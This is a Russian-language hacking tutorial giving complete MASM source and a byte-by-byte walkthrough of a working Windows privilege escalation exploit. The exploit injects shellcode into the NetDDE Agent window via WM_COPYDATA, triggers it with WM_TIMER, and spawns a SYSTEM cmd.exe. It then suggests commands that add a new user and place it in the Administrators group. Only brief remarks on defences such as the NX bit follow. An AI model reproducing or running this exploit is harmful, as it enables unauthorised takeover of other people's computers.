| Welcome to The Passion Of Code Laboratory!!! | Статьи |
Атаки на переполнение. |
|
;------2.asm .386 .model flat, stdcall option casemap: none include \masm32\include\windows.inc include \masm32\include\kernel32.inc includelib \masm32\lib\kernel32.lib include \masm32\include\masm32.inc includelib \masm32\lib\masm32.lib include \masm32\include\user32.inc includelib \masm32\lib\user32.lib includelib \masm32\lib\msvcrt.lib memcpy proto c:DWORD,:DWORD,:DWORD memset proto c:DWORD,:DWORD,:DWORD malloc proto c:DWORD .data szFormat DB " = 0x%08lX",13,10,0 szFormat_Error_SendM DB "SendMessage GetLastError() = %d",0 szFormat_Error_PostM DB "PostMessage GetLastError() = %d",0 szInfoLine_1 db " Дискриптор окна равен",0 szSendMessage_OK db " SendMessage() - выполнен успешно.",13,10,0 szPostMessage_OK DB " PostMessage() - выполнен успешно.",13,10,0 szError_FindWindow DB "Окно не найдено, проверьте пераметры FindWindow()",13,10,0 lf db 0,13,10 szKernel32 DB "kernel32.dll",0 szExitProcess DB "ExitProcess",0 szWinExec DB "WinExec",0 szCreateProcessA DB 'CreateProcessA',0 ;структура передачи данных по сообщению WM_COPYDATA copy_data COPYDATASTRUCT <> _Kernel32 DD 0 hWnd DD 0 hMemory DD 0 pMemory DD 0 szClassName db "NDDEAgnt", 0 szWindowName db "NetDDE Agent", 0 ;=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= _shell_code db 8Bh, 0F4h ; mov ESI,ESP push 0 ; db 6Ah, 00h db 68h, 2Eh, 65h, 78h, 65h ; push '.exe' db 68h, 00h, 63h, 6Dh, 64h ; push 'dmc' db 68h, 61h, 75h, 6Ch, 74h ; push 'tlua' db 68h, 5Ch, 44h, 65h, 66h ; push 'feD\' db 68h, 53h, 74h, 61h, 30h ; push '0atS' db 68h, 00h, 57h, 69h, 6Eh ; push 'niW' mov EDX,ESP ; db 8Bh, 0D4h inc EDX ; db 42h mov ECX,54h ; db 0B9h, 50h, 00h, 00h, 00h push 0 ; db 6Ah, 00h LOOP $ - 2 ; db 0E2h, 0FCh push 44h ; db 6Ah, 44h add ESP,0Ch ; db 83h, 0C4h, 0Ch push EDX ; db 52h sub ESP,0Ch ; db 83h, 0ECh, 0Ch mov EAX,ESP ; db 8Bh, 0C4h add EAX,10h ; db 83h, 0C0h, 10h push EAX ; db 50h mov EAX,ESP ; db 8Bh, 0C4h add EAX,08h ; db 83h, 0C0h, 08h push EAX ; db 50h push 0 ; db 6Ah, 00h push 0 ; db 6Ah, 00h push 0 ; db 6Ah, 00h push 0 ; db 6Ah, 00h push 0 ; db 6Ah, 00h push 0 ; db 6Ah, 00h add EDX,10h ; db 83h, 0C2h, 10h push EDX ; db 52h push 0 ; db 6Ah, 00h db 0B8h ; mov EAX, ... _CreateProcessA DD ? ; .... CALL EAX ; db 0FFh, 0D0h mov ESP,ESI ; db 8Bh, 0E6h ret ; db 0C3h ;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= len_ EQU $ - _shell_code .data? clBuffer DB ? cyrBuffer DB ? ;---------------------------------------------- .code start: invoke LoadLibrary,ADDR szKernel32 mov _Kernel32,EAX invoke GetProcAddress, _Kernel32,ADDR szCreateProcessA mov _CreateProcessA,EAX invoke malloc,1000 mov pMemory,eax invoke memset, pMemory, 90h, 1000 invoke memcpy, pMemory, OFFSET _shell_code, len_ mov copy_data.dwData,0 mov copy_data.cbData,1000 mov EAX, pMemory mov copy_data.lpData,EAX invoke FindWindow,ADDR szClassName, ADDR szWindowName mov hWnd,EAX .if eax==0 invoke StdOut,ADDR lf invoke CharToOem, ADDR szError_FindWindow,ADDR cyrBuffer invoke StdOut,ADDR cyrBuffer invoke StdOut,ADDR lf .else invoke StdOut,ADDR lf invoke StdOut,ADDR lf invoke CharToOem, ADDR szInfoLine_1,ADDR cyrBuffer invoke StdOut,ADDR cyrBuffer INVOKE wsprintf,OFFSET clBuffer,OFFSET szFormat,hWnd invoke StdOut,ADDR clBuffer invoke StdOut,ADDR lf .endif invoke SendMessage, hWnd, WM_COPYDATA ,DWORD PTR hWnd ,OFFSET copy_data invoke GetLastError .IF EAX !=0 INVOKE wsprintf,OFFSET clBuffer,OFFSET szFormat_Error_SendM,EAX invoke StdOut,ADDR clBuffer .ELSE invoke CharToOem, ADDR szSendMessage_OK,ADDR cyrBuffer invoke StdOut,ADDR cyrBuffer invoke StdOut,ADDR lf .ENDIF invoke PostMessage, hWnd,WM_TIMER,0,0080FA78h;8452728 .IF EAX!=0 invoke CharToOem, ADDR szPostMessage_OK,ADDR cyrBuffer invoke StdOut,ADDR cyrBuffer invoke StdOut,ADDR lf .ELSE invoke GetLastError INVOKE wsprintf,OFFSET clBuffer,OFFSET szFormat_Error_PostM,EAX invoke StdOut,ADDR clBuffer .ENDIF invoke ExitProcess,0 ;---------------------------------------------- end start |
Нетерпеливые отошли. А мы давайте разберем все по порядку.
Во-первых, shell код лучше рассматривать в рамках программы из главы 1. Там Вы
отследите выполнение кода и Вам это будет легче сделать. Иными словами работаем
с программой …\2\_2\_2.asm.
На мой взгляд, таким методом можно вооружиться на будущее. Итак, shell
отлаживаем в программе оболочке, которую сами и написали на протяжении первой
главы.
1)
|
_shell_code db 8Bh, 0F4h ; mov ESI,ESP push 0 ; db 6Ah, 00h db 68h, 2Eh, 65h, 78h, 65h ; push '.exe' db 68h, 00h, 63h, 6Dh, 64h ; push 'dmc' db 68h, 61h, 75h, 6Ch, 74h ; push 'tlua' db 68h, 5Ch, 44h, 65h, 66h ; push 'feD\' db 68h, 53h, 74h, 61h, 30h ; push '0atS' db 68h, 00h, 57h, 69h, 6Eh ; push 'niW' |
Ну приступим :) Весь наш shell составляет процедура запуска функции CreateProcessA(). Распишем себе входные параметры этой функции:
|
BOOL CreateProcessAsUser( HANDLE hToken , // дескриптор маркера пользователя LPCTSTR lpApplicationName , // имя исполняемого модуля LPTSTR lpCommandLine, // командная строка LPSECURITY_ATTRIBUTES lpProcessAttributes , // SD (дескриптор безопасности) LPSECURITY_ATTRIBUTES lpThreadAttributes, // SD BOOL bInheritHandles, // дескриптор параметра наследования DWORD dwCreationFlags, // флажки создания LPVOID lpEnvironment, // новый блок конфигурации LPCTSTR lpCurrentDirectory, // имя текущего каталога LPSTARTUPINFO lpStartupInfo, // информация предустановки LPPROCESS_INFORMATION lpProcessInformation // информация о процессе ); |
Распишем только те параметры, которые намерены указать.
lpApplicationName
[in] Указатель на строку с нулем в конце, которая определяет модуль исполняемого
кода. Заданный модуль может быть базирующейся на Windows прикладной программой.
Это может быть какой-то другой тип модуля (например, MS-DOS или OS/2), если
соответствующая подсистема доступна на локальном компьютере.
Строка может указывать полный путь и имя файла исполняемого модуля или она может
определять часть имени. В случае если это часть имени, функция использует
текущий диск и текущий каталог, чтобы завершить определение. Функция не будет
использовать найденный путь. Если имя файла не содержит расширение,
подразумевается расширение .exe. Поэтому, если расширение имени файла - .com,
этот параметр должен включить в себя расширение .com.
Параметр lpApplicationName может быть значением ПУСТО (NULL). В этом случае, имя
модуля должно быть в строке lpCommandLine как первое незаполненное пространство,
разграниченное маркером.
Если Вы используете длинное имя файла, которое содержит пробел, применяйте
строки в кавычках, чтобы обозначить, где имя файла заканчивается, и начинаются
параметры; иначе, имя файла становится неоднозначным. Например, рассмотрим
строку " c:\program files\sub dir\program name ". Эта строка может
интерпретироваться несколькими способами. Попытки системы интерпретировать ее,
возможны в нижеследующем порядке:
c:\program.exe files\sub dir\program name
c:\program files\sub.exe dir\program name
c:\program files\sub dir\program.exe name
c:\program files\sub dir\program name.exe
Если выполняемый модуль - 16-разрядное приложение, параметр lpApplicationName
должен быть значением ПУСТО (NULL), а строка, указанная в параметре
lpCommandLine должна задать выполняемый модуль, также как его параметры. По
умолчанию, все 16-разрядные, базирующиеся на Windows прикладные программы,
созданные функцией CreateProcessAsUser, работают в отдельной виртуальной машине
DOS (VDM) (эквивалент CREATE_SEPARATE_WOW_VDM в функции CreateProcess).
lpStartupInfo
[in] Указатель на структуру STARTUPINFO, которая устанавливает оконный режим
терминала, рабочий стол, стандартные дескрипторы и внешний вид главного окна для
нового процесса.
STARTUPINFO STRUCT =
68 байт [10] =
44
[16]
cb DWORD ? 00000044
lpReserved DWORD ? 00000000
lpDesktop
DWORD ? 0012FFA5 -> “Winsta0\default”
lpTitle
DWORD ? 00000000
dwX DWORD ? 00000000
dwY DWORD ? 00000000
dwXSize DWORD ? 00000000
dwYSize DWORD ? 00000000
dwXCountChars DWORD ? 00000000
dwYCountChars DWORD ? 00000000
dwFillAttribute DWORD ? 00000000
dwFlags DWORD ? 00000000
wShowWindow WORD ? 0000
cbReserved2 WORD ? 0000
lpReserved2 DWORD ? 00000000
hStdInput DWORD ? 00000000
hStdOutput DWORD ? 00000000
hStdError DWORD ? 00000000
STARTUPINFO ENDS
Структура STARTUPINFO используется с функцией CreateProcess, чтобы определить
главные свойства окна, если новое окно создано для нового процесса. Для
графического интерфейса пользователя (GUI) процессы, эта информация воздействует
на первое окно, созданное функцией CreateWindow и показанный функцией ShowWindow.
Для процессов пульта, эта информация воздействует на окно пульта, если новый
пульт создан для процесса. Процесс может использовать функцию GetStartupInfo,
чтобы восстановить структуру STARTUPINFO, определил, когда процесс был создан.
lpProcessInformation
[out] Указатель на структуру PROCESS_INFORMATION, которая принимает
идентифицирующую информацию о новом процессе.
Дескрипторы в структуре PROCESS_INFORMATION, когда они больше не нужны, должны
быть закрыты функцией CloseHandle.
PROCESS_INFORMATION STRUCT =16 байт [10] =
10 [16]
hProcess DWORD ?
hThread DWORD ?
dwProcessId DWORD ?
dwThreadId DWORD ?
PROCESS_INFORMATION ENDS
Поскольку весь наш код будет выполняться в стеке, нам нужно все данные поместить в стеке. Покажем себе, что мы хотим получить на выходе:
Рис.1.

Рис.2.

Обратите внимание на выделенные пункты на рисунке. Признаюсь
в ходе своих разбирательств я рискнул убрать код занесения в стек числа 44
размера структуры и указателя на строку “Winsta0\default” . (Вы можете
посмотреть на результат этой попытки, программы 3.asm и 3.exe.) Однако при
запуске Вы опять таки не получите окна cmd. Дело, видимо в том, что порожденное
окно наследует параметры “предка” WinLogon а, который невидим, и само невидимо.
Но получив листинг процессов ( например, с помощью утилиты tlist.exe, она также
в общем архиве ) и все Ваши попытки отразятся невидимыми сеансами cmd.exe.
Что это за строка такая Winsta0\default. Я приведу здесь выдержки из найденного
мной материала.
Дело в том, что в Win2000 каждый процесс сопоставлен с такими ”возвышенными”
понятиями ( в частности для меня ) как оконная станция и рабочий стол ( windows
station и рабочий стол). Эти понятия служат для управлением доступа к системным
объектам.
Все системные объекты Windows ( файлы в нашем случае) имеют свой дескрипторы
безопасности. В тот момент когда приложение пытается получить доступ к
системному объекту с помощью дескриптора безопасности файла принимается решение
в вопросе “ … имееш ли право ты приложение получить доступ ко мне файлу…”.
Однако, эта процедура ,видимо сильно усложняла им жизнь так как от нее
отказались. Решили создать нечто , включающее все объекты и их дескрипторы
сразу. Вот они этим нечто и есть Оконная станция и Рабочий стол. Манипулируя
сущностями безопасности оконной станции и рабочего стола получили, и это видимо,
допустимые решения.
Оконная станция содержит в себе буфер обмена, глобальные атомы, набор объектов
рабочих столов. Одна из оконных станций имеет имя WinSta0 и она “общается с
пользователем”, то есть она интерактивна. Интерактивна - значит она физически
видна пользователю, она получает от него вводимые пользователем данные. Все
другие рабочие станции не интерактивны, и как следствие, невидны пользователю.
Рабочий стол содержит в себе поверхность экрана, набор окон, меню и другое.
Каждая оконная станция может иметь несколько рабочих столов, один из которых
считается активным, он же виден пользователю.
Оконная станция WinSta0 содержит такие рабочие столы:
· Winlogon - это тот рабочий стол, на котором отображается приглашение входа в
систему
· Default - на этом рабочем столе выполняются приложения интерактивного
пользователя.
· ScrnSave - этот рабочий стол используется для программы-заставки.
То, с какой рабочей станцией связан процесс, влияет на его возможность
взаимодействия с другими процессами. Итак выходим на
понятие учетной записи процесса, которая включает в себя понятия Оконная станция
и Рабочий стол.
Если учетная запись нашего процесса имеет вид:
Winsta0\default значит учетной записью приложения является LocalSystem,
приложение будет выполняться на той же оконной станции и том же рабочем столе,
что и приложения интерактивного пользователя.
2)
|
mov EDX,ESP inc EDX ; сейчас в вершине стека адрес строки “Winsta0\default” mov ECX,54h ; нам нужно в стеке получить массив из 54 нулевых DWORD ов push 0 ; прескочить на адрес на два бацта выше ;( на два этих байта - 6Ah,00h) LOOP $ - 2 ; проместим в стек зазмер структуры STARTUPINFO push 44h ; после выделения массива 54 нулевых DWORD ов ; вернемся назад, в начало этого обнуленного массива ; путем прибавления к указателю начала стека нужного нам значения add ESP,0Ch ; поместим в вершину нашей структуры указатель на строку “Winsta0\default” push EDX ; вернемся в конец нашей STARTUPINFO sub ESP,0Ch ; поместим в EAX адрес начала стека mov EAX,ESP ; прибавим к EAX 10[16] получим адрес под ; указателем на строку “Winsta0\default” add EAX,10h ; прместим в стек указатель на начало структуры ; PROCESS_INFORMATION push EAX ; поместим в EAX адрес начала стека ; прибавим к EAX 8 получим адрес под ; указателем на структуру PROCESS_INFORMATION mov EAX,ESP add EAX,08h ; указателем на структуру STARTUPINFO push EAX ; добавим недостающих нулевых DWORD ов push 0 push 0 push 0 push 0 push 0 push 0 ; получим в стек указатель на строку “cmd.exe” add EDX,10h push EDX ; еще один ноль в стек push 0 db 0B8h ; mov EAX, ... _CreateProcessA DD ? ; .... ; выполним _CreateProcessA() CALL EAX mov ESP,ESI ret |
3)
|
invoke malloc,1000 mov pMemory,eax invoke memset, pMemory, 90h, 1000 invoke memcpy, pMemory, OFFSET _shell_code, len_ |
Мы используем эти функции для того чтобы выделить участок
памяти, перенести туда наш код и передать указатель начала этой памяти в
структуру COPYDATASTRUCT. Заполняем выделенную память мы командами NOP с кодом
90h, так искомый участок легче заметить.
4)
| invoke PostMessage, hWnd,WM_TIMER,0,0080FA78h;8452728 |
Отошлем окну с дескриптором hWnd, послать сообщение WM_TIMER,
требующая выполнить процедуру, начинающуюся по адресу 0080FA78h. Кажется все! В
полученном консольном окне, для проверки наберите команду
net sessions - выводит список текущих пользователей, необходимо иметь права
администратора. Если нет сообщения “Ошибка №5” Вы админ!
Ну теперь , наконец …
… повысим свои права.
Рис.3.

Краткие выводы.
Наверное таким образом и подключаются к удаленным пользователям используя
переполнение стека :
cmd /c/q
"net user name password /add
net group Администраторы user /add
ping XXX.XXX.XXX.XXX
arp -a XXX.XXX.XXX.XXX"
где XXX.XXX.XXX.XXX мой IP …
Как же, спросите Вы с этим бороться?
1. Лучшим способом, конечно же, будет не подпускать к Вашей машине всяких
“деятелей”.
2. Некоторые программы устанавливают контроль над областью памяти WinLogon. Это
делает, например, OutPost Firewall, поэтому можно использовать и его.
3. … вот нашел на www.amd64.ru
|
AMD64 Execution Protection (NX-bit)
Компания AMD в своих 64-битных процессорах
воплотила совершенно новую технологию защиты компьютеров от вирусов -
AMD64 Execution Protection (NX-bit).
Эта технология запрещает исполнение кода со
страниц данных, препятствуя наиболее распространенному в последнее время
типу вирусной атаки - Denial-of-Service
(DoS). Этот тип атаки использовали такие вирусы как Slammer, Code Red,
MSBlaster породившие наиболее известные мировые эпидемии и нанесшие
многомиллиардные убытки по всему миру. Количество вирусов использующих
подобную уязвимость компьютера постоянно растет, и около 50% всех
Microsoft Security Bulletins за 2002 и 2003 были связаны с проблемами "buffer
overflow" (исполнение кода со страниц данных). AMD64 Execution
Protection значительно уменьшает риск заражения компьютера, отмечая
системную память атрибутом (NX-bit), означающим, что код не должен
исполняться из области данных.
Рассмотрим типовой сценарий атаки основанной на
переполнении буфера. Вирусная программа для запуска вредоносного кода
использует следующую схему:
|
… так что все в скором будущем исправится. Но Вы отметили то, что как Вы вдруг
стали понимать некоторые проблемы современной компьютерной науки? Я, после того
как ощутил, был рад. Стало приятно от того что самообразование дало свои плоды
:)
Мы совершили еще одно, увлекательное путешествие в мир MS Windows. Знания
придают уверенность и повышают самоуважение. Знание сила! Ну, вот пока и все.
В этом месте можно сказать досвиданья уважаемый читатель!
Перечень используемого программного обеспечения:
[2.1] OllyDbg 1.09d by Oleh Yuschuk ( http://www.wasm.ru )
[2.2] - WinHex 10.0 SR-7 (http://www.winhex.com/)
[C] _follower / TPOC
Новые события из жизни нашей лаборатории
Статьи и переводы лаборатории TPOC
Программы лаборатории TPOC
Здесь мы сообщаем Вам, какие творения скоро появятся
Ссылки на сайты, где можно найти больше информации
История нашей лаборатории и ее члены
| У вас есть предложения по нашему сайту? Напишите сюда | Любимые сайты вирмейкеров: (WASM) (RSDN) |